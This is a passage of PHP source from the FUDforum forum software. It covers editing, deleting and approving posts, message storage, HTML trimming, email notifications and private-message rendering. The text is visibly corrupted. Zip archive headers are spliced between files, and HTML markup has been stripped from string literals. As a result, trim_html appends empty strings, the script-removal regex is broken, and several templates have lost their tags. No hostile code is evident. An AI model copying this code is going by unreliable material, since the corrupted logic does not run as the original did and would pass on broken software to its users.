ssn($this->icon) .' , poll_cache='. ssn(poll_cache_rebuild($this->poll_id)) .', subject='. ssn($this->subject) .' WHERE id='. $this->id); if ($GLOBALS['FUD_OPT_3'] & 32768) { // DB_MESSAGE_STORAGE //TODO: Why DELETE? Can't we just UPDATE the DB? q('DELETE FROM fud30_msg_store WHERE id IN('. $this->file_id .','. $this->file_id_preview .')'); $file_id = db_qid('INSERT INTO fud30_msg_store (data) VALUES('. _esc($this->body) .')'); if ($message_threshold && $length > $message_threshold) { $file_id_preview = db_qid('INSERT INTO fud30_msg_store (data) VALUES('. _esc(trim_html($this->body, $message_threshold)) .')'); } q('UPDATE fud30_msg SET file_id='. $file_id .', file_id_preview='. $file_id_preview .' WHERE id='. $this->id); } /* Determine wether or not we should deal with locked & sticky stuff * current approach may seem a little redundant, but for (most) users who * do not have access to locking & sticky this eliminated a query. */ $th_data = db_saq('SELECT orderexpiry, thread_opt, root_msg_id, tdescr FROM fud30_thread WHERE id='. $this->thread_id); $locked = (int) isset($_POST['thr_locked']); if (isset($_POST['thr_ordertype'], $_POST['thr_orderexpiry']) || (($th_data[1] ^ $locked) & 1)) { $thread_opt = (int) $th_data[1]; $orderexpiry = isset($_POST['thr_orderexpiry']) ? (int) $_POST['thr_orderexpiry'] : 0; /* Confirm that user has ability to change lock status of the thread. */ if ($perm & 4096) { if ($locked && !($thread_opt & $locked)) { $thread_opt |= 1; } else if (!$locked && $thread_opt & 1) { $thread_opt &= ~1; } } /* Confirm that user has ability to change sticky status of the thread. */ if ($th_data[2] == $this->id && isset($_POST['thr_ordertype'], $_POST['thr_orderexpiry']) && $perm & 64) { if (!$_POST['thr_ordertype'] && $thread_opt > 1) { $orderexpiry = 0; $thread_opt &= ~6; } else if ($thread_opt < 2 && (int) $_POST['thr_ordertype']) { $thread_opt |= $_POST['thr_ordertype']; } else if (!($thread_opt & (int) $_POST['thr_ordertype'])) { $thread_opt = $_POST['thr_ordertype'] | ($thread_opt & 1); } } if ($perm & 64) { if (!empty($_POST['thr_always_on_top'])) { $thread_opt |= 8; } else { $thread_opt &= ~8; } } /* Determine if any work needs to be done. */ if ($thread_opt != $th_data[1] || $orderexpiry != $th_data[0]) { q('UPDATE fud30_thread SET '. ($th_data[2] == $this->id ? 'tdescr='. _esc($msg_tdescr) .',' : '') .' thread_opt='.$thread_opt.', orderexpiry='. $orderexpiry .' WHERE id='. $this->thread_id); /* Avoid rebuilding the forum view whenever possible, since it's a rather slow process. * Only rebuild if expiry time has changed or message gained/lost sticky status. */ $diff = $thread_opt ^ $th_data[1]; if (($diff > 1 && $diff & 14) || $orderexpiry != $th_data[0]) { rebuild_forum_view_ttl($frm_id); } } else if ($msg_tdescr != $th_data[3] && $th_data[2] == $this->id) { q('UPDATE fud30_thread SET tdescr='. _esc($msg_tdescr) .' WHERE id='. $this->thread_id); } } else if ($msg_tdescr != $th_data[3] && $th_data[2] == $this->id) { q('UPDATE fud30_thread SET tdescr='. _esc($msg_tdescr) .' WHERE id='. $this->thread_id); } if ($GLOBALS['FUD_OPT_1'] & 16777216) { // FORUM_SEARCH enabled? If so, reindex message. q('DELETE FROM fud30_index WHERE msg_id='. $this->id); q('DELETE FROM fud30_title_index WHERE msg_id='. $this->id); index_text((!strncasecmp('Re: ', $this->subject, 4) ? '' : $this->subject), $this->body, $this->id); } } /** Delete a message & cleanup. */ static function delete($rebuild_view=1, $mid=0, $th_rm=0) { if (!$mid) { $mid = $this->id; } if (!($del = db_sab('SELECT m.file_id, m.file_id_preview, m.id, m.attach_cnt, m.poll_id, m.thread_id, m.reply_to, m.apr, m.poster_id, t.replies, t.root_msg_id AS root_msg_id, t.last_post_id AS thread_lip, t.forum_id, f.last_post_id AS forum_lip FROM fud30_msg m LEFT JOIN fud30_thread t ON m.thread_id=t.id LEFT JOIN fud30_forum f ON t.forum_id=f.id WHERE m.id='. $mid))) { return; } if (!db_locked()) { db_lock('fud30_msg_store WRITE, fud30_forum f WRITE, fud30_thr_exchange WRITE, fud30_tv_'. $del->forum_id .' WRITE, fud30_tv_'. $del->forum_id .' tv WRITE, fud30_msg m WRITE, fud30_thread t WRITE, fud30_level WRITE, fud30_forum WRITE, fud30_forum_read WRITE, fud30_thread WRITE, fud30_msg WRITE, fud30_attach WRITE, fud30_poll WRITE, fud30_poll_opt WRITE, fud30_poll_opt_track WRITE, fud30_users WRITE, fud30_thread_notify WRITE, fud30_bookmarks WRITE, fud30_msg_report WRITE, fud30_thread_rate_track WRITE, fud30_index WRITE, fud30_title_index WRITE, fud30_search_cache WRITE'); $ll = 1; } q('DELETE FROM fud30_msg WHERE id='. $mid); /* Remove attachments. */ if ($del->attach_cnt) { $res = q('SELECT location FROM fud30_attach WHERE message_id='. $mid .' AND attach_opt=0'); while ($loc = db_rowarr($res)) { @unlink($loc[0]); } unset($res); q('DELETE FROM fud30_attach WHERE message_id='. $mid .' AND attach_opt=0'); } /* Remove message reports. */ q('DELETE FROM fud30_msg_report WHERE msg_id='. $mid); /* Cleanup index entries. */ if ($GLOBALS['FUD_OPT_1'] & 16777216) { // FORUM_SEARCH enabled? q('DELETE FROM fud30_index WHERE msg_id='. $mid); q('DELETE FROM fud30_title_index WHERE msg_id='. $mid); q('DELETE FROM fud30_search_cache WHERE msg_id='. $mid); } /* Remove poll. */ if ($del->poll_id) { poll_delete($del->poll_id); } /* Check if thread. */ if ($del->root_msg_id == $del->id) { $th_rm = 1; /* Delete all messages in the thread if there is more than 1 message. */ if ($del->replies) { $rmsg = q('SELECT id FROM fud30_msg WHERE thread_id='. $del->thread_id .' AND id != '. $del->id); while ($dim = db_rowarr($rmsg)) { fud_msg_edit::delete(0, $dim[0], 1); } unset($rmsg); } q('DELETE FROM fud30_thread_notify WHERE thread_id='. $del->thread_id); q('DELETE FROM fud30_bookmarks WHERE thread_id='. $del->thread_id); q('DELETE FROM fud30_thread WHERE id='. $del->thread_id); q('DELETE FROM fud30_thread_rate_track WHERE thread_id='. $del->thread_id); q('DELETE FROM fud30_thr_exchange WHERE th='. $del->thread_id); if ($del->apr) { /* We need to determine the last post id for the forum, it can be null. */ $lpi = (int) q_singleval(q_limit('SELECT t.last_post_id FROM fud30_thread t INNER JOIN fud30_msg m ON t.last_post_id=m.id AND m.apr=1 WHERE t.forum_id='.$del->forum_id.' AND t.moved_to=0 ORDER BY m.post_stamp DESC', 1)); q('UPDATE fud30_forum SET last_post_id='. $lpi .', thread_count=thread_count-1, post_count=post_count-'. $del->replies .'-1 WHERE id='. $del->forum_id); } } else if (!$th_rm && $del->apr) { q('UPDATE fud30_msg SET reply_to='. $del->reply_to .' WHERE thread_id='. $del->thread_id .' AND reply_to='. $mid); /* Check if the message is the last in thread. */ if ($del->thread_lip == $del->id) { list($lpi, $lpd) = db_saq(q_limit('SELECT id, post_stamp FROM fud30_msg WHERE thread_id='. $del->thread_id .' AND apr=1 ORDER BY post_stamp DESC', 1)); q('UPDATE fud30_thread SET last_post_id='. $lpi .', last_post_date='. $lpd .', replies=replies-1 WHERE id='. $del->thread_id); } else { q('UPDATE fud30_thread SET replies=replies-1 WHERE id='. $del->thread_id); } /* Check if the message is the last in the forum. */ if ($del->forum_lip == $del->id) { $page = q_singleval('SELECT seq FROM fud30_tv_'. $del->forum_id .' WHERE thread_id='. $del->thread_id); $lp = db_saq(q_limit('SELECT t.last_post_id, t.last_post_date FROM fud30_tv_'. $del->forum_id .' tv INNER JOIN fud30_thread t ON tv.thread_id=t.id WHERE tv.seq IN('. $page .','. ($page - 1) .') AND t.moved_to=0 ORDER BY t.last_post_date DESC', 1)); if (!isset($lpd) || $lp[1] > $lpd) { $lpi = $lp[0]; } q('UPDATE fud30_forum SET post_count=post_count-1, last_post_id='. $lpi .' WHERE id='. $del->forum_id); } else { q('UPDATE fud30_forum SET post_count=post_count-1 WHERE id='. $del->forum_id); } } if ($del->apr) { if ($del->poster_id) { user_set_post_count($del->poster_id); } if ($rebuild_view) { if ($th_rm) { th_delete_rebuild($del->forum_id, $del->thread_id); } else if ($del->thread_lip == $del->id) { rebuild_forum_view_ttl($del->forum_id); } } } if (isset($ll)) { db_unlock(); } if ($GLOBALS['FUD_OPT_3'] & 32768) { // DB_MESSAGE_STORAGE q('DELETE FROM fud30_msg_store WHERE id IN('. $del->file_id .','. $del->file_id_preview .')'); } if (!$del->apr || !$th_rm || ($del->root_msg_id != $del->id)) { return; } /* Needed for moved thread pointers. */ $r = q('SELECT forum_id, id FROM fud30_thread WHERE root_msg_id='. $del->root_msg_id); while (($res = db_rowarr($r))) { q('DELETE FROM fud30_thread WHERE id='. $res[1]); q('UPDATE fud30_forum SET thread_count=thread_count-1 WHERE id='. $res[0]); th_delete_rebuild($res[0], $res[1]); } unset($r); } static function approve($id) { /* Fetch info about the message, poll (if one exists), thread & forum. */ $mtf = db_sab('SELECT /* USE MASTER */ m.id, m.poster_id, m.apr, m.subject, m.foff, m.length, m.file_id, m.thread_id, m.poll_id, m.attach_cnt, m.post_stamp, m.reply_to, m.mlist_msg_id, m.msg_opt, t.forum_id, t.last_post_id, t.root_msg_id, t.last_post_date, t.thread_opt, m2.post_stamp AS frm_last_post_date, f.name AS frm_name, f.forum_opt, u.alias, u.email, u.sig, u.name as real_name, n.id AS nntp_id, ml.id AS mlist_id FROM fud30_msg m INNER JOIN fud30_thread t ON m.thread_id=t.id INNER JOIN fud30_forum f ON t.forum_id=f.id LEFT JOIN fud30_msg m2 ON f.last_post_id=m2.id LEFT JOIN fud30_users u ON m.poster_id=u.id LEFT JOIN fud30_mlist ml ON ml.forum_id=f.id AND '. q_bitand('ml.mlist_opt', 2) .' > 0 LEFT JOIN fud30_nntp n ON n.forum_id=f.id AND '. q_bitand('n.nntp_opt', 2) .' > 0 WHERE m.id='. $id .' AND m.apr=0'); /* Nothing to do or bad message id. */ if (!$mtf) { return; } if ($mtf->alias) { $mtf->alias = reverse_fmt($mtf->alias); } else { $mtf->alias = $GLOBALS['ANON_NICK']; } q('UPDATE fud30_msg SET apr=1 WHERE id='.$mtf->id); if ($mtf->poster_id) { user_set_post_count($mtf->poster_id); } if ($mtf->post_stamp > $mtf->frm_last_post_date) { $mtf->last_post_id = $mtf->id; } if ($mtf->root_msg_id == $mtf->id) { /* New thread. */ th_new_rebuild($mtf->forum_id, $mtf->thread_id, $mtf->thread_opt & (2|4|8)); $threads = 1; } else { /* Reply to thread. */ if ($mtf->post_stamp > $mtf->last_post_date) { th_inc_post_count($mtf->thread_id, 1, $mtf->id, $mtf->post_stamp); } else { th_inc_post_count($mtf->thread_id, 1); } th_reply_rebuild($mtf->forum_id, $mtf->thread_id, $mtf->thread_opt & (2|4|8)); $threads = 0; } /* Update forum thread & post count as well as last_post_id field. */ q('UPDATE fud30_forum SET post_count=post_count+1, thread_count=thread_count+'. $threads .', last_post_id='. $mtf->last_post_id .' WHERE id='. $mtf->forum_id); if ($mtf->poll_id) { poll_activate($mtf->poll_id, $mtf->forum_id); } $mtf->body = read_msg_body($mtf->foff, $mtf->length, $mtf->file_id); if ($GLOBALS['FUD_OPT_1'] & 16777216) { // FORUM_SEARCH enabled? index_text((strncasecmp($mtf->subject, 'Re: ', 4) ? $mtf->subject : ''), $mtf->body, $mtf->id); } /* Handle notifications. */ if (!($GLOBALS['FUD_OPT_3'] & 1048576)) { // not DISABLE_NOTIFICATION_EMAIL if ($mtf->root_msg_id == $mtf->id || $GLOBALS['FUD_OPT_3'] & 16384) { // FORUM_NOTIFY_ALL if (empty($mtf->frm_last_post_date)) { $mtf->frm_last_post_date = 0; } /* Send new thread notifications to forum subscribers. */ $to = db_all('SELECT u.email FROM fud30_forum_notify fn INNER JOIN fud30_users u ON fn.user_id=u.id AND '. q_bitand('u.users_opt', 134217728) .' = 0 INNER JOIN fud30_group_cache g1 ON g1.user_id=2147483647 AND g1.resource_id='. $mtf->forum_id . ($GLOBALS['FUD_OPT_3'] & 64 ? ' LEFT JOIN fud30_forum_read r ON r.forum_id=fn.forum_id AND r.user_id=fn.user_id ' : ''). ' LEFT JOIN fud30_group_cache g2 ON g2.user_id=fn.user_id AND g2.resource_id='. $mtf->forum_id . ' LEFT JOIN fud30_mod mm ON mm.forum_id='. $mtf->forum_id .' AND mm.user_id=u.id WHERE fn.forum_id='. $mtf->forum_id .' AND fn.user_id!='. (int)$mtf->poster_id . ($GLOBALS['FUD_OPT_3'] & 64 ? ' AND (CASE WHEN (r.last_view IS NULL AND (u.last_read=0 OR u.last_read >= '. $mtf->frm_last_post_date .')) OR r.last_view > '. $mtf->frm_last_post_date .' THEN 1 ELSE 0 END)=1 ' : ''). ' AND ('. q_bitand('COALESCE(g2.group_cache_opt, g1.group_cache_opt)', 2) .' > 0 OR '. q_bitand('u.users_opt', 1048576) .' > 0 OR mm.id IS NOT NULL)'. ' AND '. q_bitand('u.users_opt', 65536) .' = 0'); if ($GLOBALS['FUD_OPT_3'] & 16384) { $notify_type = 'thr'; } else { $notify_type = 'frm'; } } else { $to = array(); } if ($mtf->root_msg_id != $mtf->id) { /* Send new reply notifications to thread subscribers. */ $tmp = db_all('SELECT u.email FROM fud30_thread_notify tn INNER JOIN fud30_users u ON tn.user_id=u.id AND '. q_bitand('u.users_opt', 134217728) .' = 0 INNER JOIN fud30_group_cache g1 ON g1.user_id=2147483647 AND g1.resource_id='. $mtf->forum_id . ($GLOBALS['FUD_OPT_3'] & 64 ? ' LEFT JOIN fud30_read r ON r.thread_id=tn.thread_id AND r.user_id=tn.user_id ' : ''). ' LEFT JOIN fud30_group_cache g2 ON g2.user_id=tn.user_id AND g2.resource_id='. $mtf->forum_id . ' LEFT JOIN fud30_mod mm ON mm.forum_id='. $mtf->forum_id .' AND mm.user_id=u.id WHERE tn.thread_id='. $mtf->thread_id .' AND tn.user_id!='. (int)$mtf->poster_id . ($GLOBALS['FUD_OPT_3'] & 64 ? ' AND (r.msg_id='. $mtf->last_post_id .' OR (r.msg_id IS NULL AND '. $mtf->post_stamp .' > u.last_read)) ' : ''). ' AND ('. q_bitand('COALESCE(g2.group_cache_opt, g1.group_cache_opt)', 2) .' > 0 OR '. q_bitand('u.users_opt', 1048576) .' > 0 OR mm.id IS NOT NULL)'. ' AND '. q_bitand('u.users_opt', 65536) .' = 0'); $to = !$to ? $tmp : array_unique(array_merge($to, $tmp)); $notify_type = 'thr'; } if ($mtf->forum_opt & 64) { // always_notify_mods $tmp = db_all('SELECT u.email FROM fud30_mod mm INNER JOIN fud30_users u ON u.id=mm.user_id WHERE mm.forum_id='. $mtf->forum_id); $to = !$to ? $tmp : array_unique(array_merge($to, $tmp)); } if ($to) { send_notifications($to, $mtf->id, $mtf->subject, $mtf->alias, $notify_type, ($notify_type == 'thr' ? $mtf->thread_id : $mtf->forum_id), $mtf->frm_name, $mtf->forum_id); } } // Handle Mailing List and/or Newsgroup syncronization. if (($mtf->nntp_id || $mtf->mlist_id) && !$mtf->mlist_msg_id) { fud_use('email_msg_format.inc', 1); $from = $mtf->poster_id ? reverse_fmt($mtf->real_name) .' <'. $mtf->email .'>' : $GLOBALS['ANON_NICK'] .' <'. $GLOBALS['NOTIFY_FROM'] .'>'; $body = $mtf->body . (($mtf->msg_opt & 1 && $mtf->sig) ? "\n-- \n" . $mtf->sig : ''); $body = plain_text($body, '', '
', '
'); $mtf->subject = reverse_fmt($mtf->subject); if ($mtf->reply_to) { // Get the parent message's Message-ID: if ( !($replyto_id = q_singleval('SELECT mlist_msg_id FROM fud30_msg WHERE id='. $mtf->reply_to))) { fud_logerror('WARNING: Send reply with no Message-ID. The import script is not running or may be lagging.', 'fud_errors'); } } else { $replyto_id = 0; } if ($mtf->attach_cnt) { $r = uq('SELECT a.id, a.original_name, COALESCE(m.mime_hdr, \'application/octet-stream\') FROM fud30_attach a LEFT JOIN fud30_mime m ON a.mime_type=m.id WHERE a.message_id='. $mtf->id .' AND a.attach_opt=0'); while ($ent = db_rowarr($r)) { $attach[$ent[1]] = file_get_contents($GLOBALS['FILE_STORE'] . $ent[0] .'.atch'); $attach_mime[$ent[1]] = $ent[2]; } unset($r); } else { $attach_mime = $attach = null; } if ($mtf->nntp_id) { // Push out to usenet group. fud_use('nntp.inc', true); $nntp_adm = db_sab('SELECT * FROM fud30_nntp WHERE id='. $mtf->nntp_id); if (!empty($nntp_adm->custom_sig)) { // Add signature marker. $nntp_adm->custom_sig = "\n-- \n". $nntp_adm->custom_sig; } $nntp = new fud_nntp; $nntp->server = $nntp_adm->server; $nntp->newsgroup = $nntp_adm->newsgroup; $nntp->port = $nntp_adm->port; $nntp->timeout = $nntp_adm->timeout; $nntp->nntp_opt = $nntp_adm->nntp_opt; $nntp->user = $nntp_adm->login; $nntp->pass = $nntp_adm->pass; define('sql_p', 'fud30_'); $lock = $nntp->get_lock(); $nntp->post_message($mtf->subject, $body . $nntp_adm->custom_sig, $from, $mtf->id, $replyto_id, $attach, $attach_mime); $nntp->close_connection(); $nntp->release_lock($lock); } else { // Push out to mailing list. fud_use('mlist_post.inc', true); $r = db_saq('SELECT name, additional_headers, custom_sig, fixed_from_address FROM fud30_mlist WHERE id='. $mtf->mlist_id); // Add forum's signature to the messages. if (!empty($r[2])) { $body .= "\n-- \n". $r[2]; } if (!empty($r[3])) { // Use the forum's fixed "From:" address. mail_list_post($r[0], $r[3], $mtf->subject, $body, $mtf->id, $replyto_id, $attach, $attach_mime, $r[1]); } else { // Use poster's e-mail as the "From" address. mail_list_post($r[0], $from, $mtf->subject, $body, $mtf->id, $replyto_id, $attach, $attach_mime, $r[1]); } } } // Message Approved plugins. if (defined('plugins')) { plugin_call_hook('POST_APPROVE', $mtf); } } } function write_body($data, &$len, &$offset, $fid) { $MAX_FILE_SIZE = 2140000000; $len = strlen($data); $i = 1; db_lock('fud30_fl_'. $fid .' WRITE'); $s = $fid * 10000; $e = $s + 100; while ($s < $e) { $fp = fopen($GLOBALS['MSG_STORE_DIR'] .'msg_'. $s, 'ab'); if (!$fp) { exit('FATAL ERROR: could not open message store for forum id#'. $s ."
\n"); } fseek($fp, 0, SEEK_END); if (!($off = ftell($fp))) { $off = __ffilesize($fp); } if (!$off || ($off + $len) < $MAX_FILE_SIZE) { break; } fclose($fp); $s++; } if (fwrite($fp, $data) !== $len) { if ($fid) { db_unlock(); } exit("FATAL ERROR: system has ran out of disk space.
\n"); } fclose($fp); db_unlock(); if (!$off) { @chmod('msg_'. $s, ($GLOBALS['FUD_OPT_2'] & 8388608 ? 0600 : 0644)); } $offset = $off; return $s; } function trim_html($str, $maxlen) { $n = strlen($str); $ln = 0; $tree = array(); for ($i = 0; $i < $n; $i++) { if ($str[$i] != '<') { $ln++; if ($ln > $maxlen) { break; } continue; } if (($p = strpos($str, '>', $i)) === false) { break; } for ($k = $i; $k < $p; $k++) { switch ($str[$k]) { case ' ': case "\r": case "\n": case "\t": case '>': break 2; } } if ($str[$i+1] == '/') { $tagname = strtolower(substr($str, $i+2, $k-$i-2)); if (@end($tagindex[$tagname])) { $k = key($tagindex[$tagname]); unset($tagindex[$tagname][$k], $tree[$k]); } } else { $tagname = strtolower(substr($str, $i+1, $k-$i-1)); switch ($tagname) { case 'br': case 'img': case 'meta': break; default: $tree[] = $tagname; end($tree); $tagindex[$tagname][key($tree)] = 1; } } $i = $p; } $data = substr($str, 0, $i); if ($tree) { foreach (array_reverse($tree) as $v) { $data .= ''; } } return $data; } function make_email_message(&$body, &$obj, $iemail_unsub) { $TITLE_EXTRA = $iemail_poll = $iemail_attach = ''; if ($obj->poll_cache) { $pl = unserialize($obj->poll_cache); if (!empty($pl)) { foreach ($pl as $k => $v) { $length = ($v[1] && $obj->total_votes) ? round($v[1] / $obj->total_votes * 100) : 0; $iemail_poll .= ' '.$k.'. '.$v[0].' '.$v[1].' / '.$length.'% '; } $iemail_poll = ' '.$iemail_poll.'
'.$obj->poll_name.' [ '.$obj->total_votes.' '.convertPlural($obj->total_votes, array('vote','votes')).' ]


'; } } if ($obj->attach_cnt && $obj->attach_cache) { $atch = unserialize($obj->attach_cache); if (!empty($atch)) { foreach ($atch as $v) { $sz = $v[2] / 1024; $sz = $sz < 1000 ? number_format($sz, 2) .'KB' : number_format($sz/1024, 2) .'MB'; $iemail_attach .= ' Attachment: '.$v[1].'
(Size: '.$sz.', Downloaded '.convertPlural($v[3], array(''.$v[3].' time',''.$v[3].' times')).') '; } $iemail_attach = '

'.$iemail_attach.'
'; } } if ($GLOBALS['FUD_OPT_2'] & 32768 && defined('_rsid')) { $pfx = str_repeat('/', substr_count(_rsid, '/')); } // Remove all JavaScript. Spam filters like SpamAssassin don't like them. return preg_replace('#]*>.*?#is', '', ' '.$GLOBALS['FORUM_TITLE'].$TITLE_EXTRA.'
Subject: '.$obj->subject.' Author: '.$obj->alias.' Date: '.print_date('%a, %d %B %Y %H:%M', $obj->post_stamp).'
'.$iemail_poll.' '.$body.' '.$iemail_attach.'
[ Reply ][ Quote ][ View Topic/Message ]'.$iemail_unsub.'
'); } function poll_cache_rebuild($poll_id) { if (!$poll_id) { return; } $data = array(); $c = uq('SELECT id, name, votes FROM fud30_poll_opt WHERE poll_id='. $poll_id); while ($r = db_rowarr($c)) { $data[$r[0]] = array($r[1], $r[2]); } unset($c); if ($data) { return serialize($data); } else { return; } } function send_notifications($to, $msg_id, $thr_subject, $poster_login, $id_type, $id, $frm_name, $frm_id) { if (!$to) { return; } $goto_url['email'] = ''.$GLOBALS['WWW_ROOT'].'?t=rview&goto='. $msg_id .'#msg_'. $msg_id; $CHARSET = $GLOBALS['CHARSET']; if ($GLOBALS['FUD_OPT_2'] & 64) { // NOTIFY_WITH_BODY $munge_newlines = 0; $obj = db_sab('SELECT p.total_votes, p.name AS poll_name, m.reply_to, m.subject, m.id, m.post_stamp, m.poster_id, m.foff, m.length, m.file_id, u.alias, m.attach_cnt, m.attach_cache, m.poll_cache FROM fud30_msg m LEFT JOIN fud30_users u ON m.poster_id=u.id LEFT JOIN fud30_poll p ON m.poll_id=p.id WHERE m.id='. $msg_id .' AND m.apr=1'); if (!$obj->alias) { /* anon user */ $obj->alias = htmlspecialchars($GLOBALS['ANON_NICK']); } $headers = "MIME-Version: 1.0\r\n"; if ($obj->reply_to) { $headers .= 'In-Reply-To: '. $obj->reply_to ."\r\n"; } $headers .= 'List-Id: '. $frm_id .'.'. (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost') ."\r\n"; $split = get_random_value(128); $headers .= "Content-Type: multipart/alternative;\n boundary=\"------------". $split ."\"\r\n"; $boundry = "\r\n--------------". $split ."\r\n"; $pfx = ''; if ($GLOBALS['FUD_OPT_2'] & 32768 && !empty($_SERVER['PATH_INFO'])) { if ($GLOBALS['FUD_OPT_1'] & 128) { $pfx .= '0/'; } if ($GLOBALS['FUD_OPT_2'] & 8192) { $pfx .= '0/'; } } $plain_text = read_msg_body($obj->foff, $obj->length, $obj->file_id); $iemail_unsub = html_entity_decode($id_type == 'thr' ? '[ Unsubscribe from this topic ]' : '[ Unsubscribe from this forum ]'); $body_email = $boundry .'Content-Type: text/plain; charset='. $CHARSET ."; format=flowed\r\nContent-Transfer-Encoding: 8bit\r\n\r\n" . html_entity_decode(strip_tags($plain_text)) . "\r\n\r\n" . html_entity_decode('To participate in the discussion, go here:') .' '. ''.$GLOBALS['WWW_ROOT'].'?t=rview&'. ($id_type == 'thr' ? 'th' : 'frm_id') .'='. $id ."\r\n". $boundry .'Content-Type: text/html; charset='. $CHARSET ."\r\nContent-Transfer-Encoding: 8bit\r\n\r\n". make_email_message($plain_text, $obj, $iemail_unsub) ."\r\n". substr($boundry, 0, -2) ."--\r\n"; } else { $munge_newlines = 1; $headers = ''; } $thr_subject = reverse_fmt($thr_subject); $poster_login = reverse_fmt($poster_login); if ($id_type == 'thr') { $subj = html_entity_decode('New reply to '.$thr_subject.' by '.$poster_login.''); if (!isset($body_email)) { $unsub_url['email'] = ''.$GLOBALS['WWW_ROOT'].'?t=rview&th='. $id .'¬ify=1&opt=off'; $body_email = html_entity_decode('To view unread replies go to '.$goto_url['email'].'\n\nIf you do not wish to receive further notifications about replies in this topic, please go here: '.$unsub_url['email'].''); } } else if ($id_type == 'frm') { $frm_name = reverse_fmt($frm_name); $subj = html_entity_decode('New topic in forum '.$frm_name.', called '.$thr_subject.', by '.$poster_login.''); if (!isset($body_email)) { $unsub_url['email'] = ''.$GLOBALS['WWW_ROOT'].'?t=rview&unsub=1&frm_id='. $id; $body_email = html_entity_decode('To view the topic go to:\n'.$goto_url['email'].'\n\nTo stop receiving notifications about new topics in this forum, please go here: '.$unsub_url['email'].''); } } send_email($GLOBALS['NOTIFY_FROM'], $to, $subj, $body_email, $headers, $munge_newlines); } ?> PKl0]default/tabs.incnu['uc', 'Account Settings'=>'register', 'Subscriptions'=>'subscribed', 'Bookmarks'=>'bookmarked', 'Referrals'=>'referals', 'Buddy List'=>'buddy_list', 'Ignore List'=>'ignore_list', 'Show Own Posts'=>'showposts' ); if (!($FUD_OPT_2 & 8192)) { unset($tablist['Referrals']); } if (isset($_POST['mod_id'])) { $mod_id_chk = $_POST['mod_id']; } else if (isset($_GET['mod_id'])) { $mod_id_chk = $_GET['mod_id']; } else { $mod_id_chk = null; } if (!$mod_id_chk) { if ($FUD_OPT_1 & 1024) { $tablist['Private Messaging'] = 'pmsg'; } $pg = ($_GET['t'] == 'pmsg_view' || $_GET['t'] == 'ppost') ? 'pmsg' : $_GET['t']; foreach($tablist as $tab_name => $tab) { $tab_url = '[[relativeurl]]/index.php?t='. $tab . (s ? '&S='. s : ''); if ($tab == 'referals') { if (!($FUD_OPT_2 & 8192)) { continue; } $tab_url .= '&id='. _uid; } else if ($tab == 'showposts') { $tab_url .= '&id='. _uid; } $tabs .= $pg == $tab ? '' : ''; } $tabs = ' '.$tabs.'
'; } } ?> PKl0]"X&&default/drawpmsg.incnu[users_opt; $b =& $usr->users_opt; if (!$mini) { $custom_tag = $obj->custom_status ? '
'.$obj->custom_status.'' : ''; $c = (int) $obj->level_opt; if ($obj->avatar_loc && $a & 8388608 && $b & 8192 && $o1 & 28 && !($c & 2)) { if (!($c & 1)) { $level_name =& $obj->level_name; $level_image = $obj->level_img ? ' ' : ''; } else { $level_name = $level_image = ''; } } else { $level_image = $obj->level_img ? ' ' : ''; $obj->avatar_loc = ''; $level_name =& $obj->level_name; } $avatar = ($obj->avatar_loc || $level_image) ? ''.$obj->avatar_loc.$level_image.'' : ''; $dmsg_tags = ($custom_tag || $level_name) ? '
'.$level_name.$custom_tag.'
' : ''; if (($o2 & 32 && !($a & 32768)) || $b & 1048576) { $obj->login = $obj->alias; $online_indicator = (($obj->last_visit + $GLOBALS['LOGEDIN_TIMEOUT'] * 60) > __request_timestamp__) ? ''.$obj->login.' is currently online' : ''.$obj->login.' is currently offline'; } else { $online_indicator = ''; } if ($obj->location) { if (strlen($obj->location) > $GLOBALS['MAX_LOCATION_SHOW']) { $location = substr($obj->location, 0, $GLOBALS['MAX_LOCATION_SHOW']) .'...'; } else { $location = $obj->location; } $location = '
Location: '.$location; } else { $location = ''; } $usr->buddy_list = $usr->buddy_list ? unserialize($usr->buddy_list) : array(); if ($obj->user_id != _uid && $obj->user_id > 0) { $buddy_link = !isset($usr->buddy_list[$obj->user_id]) ? 'add to buddy list
' : '
[remove from buddy list]'; } else { $buddy_link = ''; } /* Show im buttons if need be. */ if ($b & 16384) { $im = ''; if ($obj->icq) { $im .= ' '; } if ($obj->facebook) { $im .= ' '; } if ($obj->yahoo) { $im .= ' '; } if ($obj->jabber) { $im .= ''; } if ($obj->google) { $im .= ''; } if ($obj->skype) { $im .= ''; } if ($obj->twitter) { $im .= ''; } if ($im) { $dmsg_im_row = ''.$im.'
'; } else { $dmsg_im_row = ''; } } else { $dmsg_im_row = ''; } if ($obj->ouser_id != _uid) { $user_profile = ''; $email_link = ($o1 & 4194304 && $a & 16) ? '' : ''; $private_msg_link = ''; } else { $user_profile = $email_link = $private_msg_link = ''; } $msg_toolbar = ''; } else { $dmsg_tags = $dmsg_im_row = $user_profile = $msg_toolbar = $buddy_link = $avatar = $online_indicator = $host_name = $location = ''; } if ($obj->length > 0) { $msg_body = read_pmsg_body($obj->foff, $obj->length); } else { $msg_body = 'No Message Body'; } $msg_body = $obj->length ? read_pmsg_body($obj->foff, $obj->length) : 'No Message Body'; $file_attachments = ''; if ($obj->attach_cnt) { $c = uq('SELECT a.id, a.original_name, a.dlcount, m.icon, a.fsize FROM fud30_attach a LEFT JOIN fud30_mime m ON a.mime_type=m.id WHERE a.message_id='. $obj->id .' AND attach_opt=1'); while ($r = db_rowobj($c)) { $sz = $r->fsize/1024; $sz = $sz<1000 ? number_format($sz, 2) .'KB' : number_format($sz / 1024 ,2) .'MB'; if(!$r->icon) { $r->icon = 'unknown.gif'; } $file_attachments .= '
  • Attachment: '.$r->original_name.'
    (Size: '.$sz.', Downloaded '.convertPlural($r->dlcount, array(''.$r->dlcount.' time',''.$r->dlcount.' times')).')
  • '; } unset($c); if ($file_attachments) { $file_attachments = '
      '.$file_attachments.'
    '; /* Append session to getfile. */ if ($o1 & 128 && !isset($_COOKIE[$GLOBALS['COOKIE_NAME']])) { $msg_body = str_replace(' '.$msg_toolbar.'
    '.(!$mini && $obj->icon ? '  ' : '' ) .''.$obj->subject.' '.print_date('%a, %d %B %Y %H:%M', $obj->post_stamp).'
    '.$avatar.'
    '.$online_indicator.(!$mini ? ''.htmlspecialchars($obj->alias, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, null, false).'' : ''.htmlspecialchars($obj->alias, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, null, false).'' ) .(!$mini ? '
    Messages: '.$obj->posted_msg_count.'
    Registered: '.print_date('%B %Y', $obj->join_date).' '.$location.'' : '' ) .'
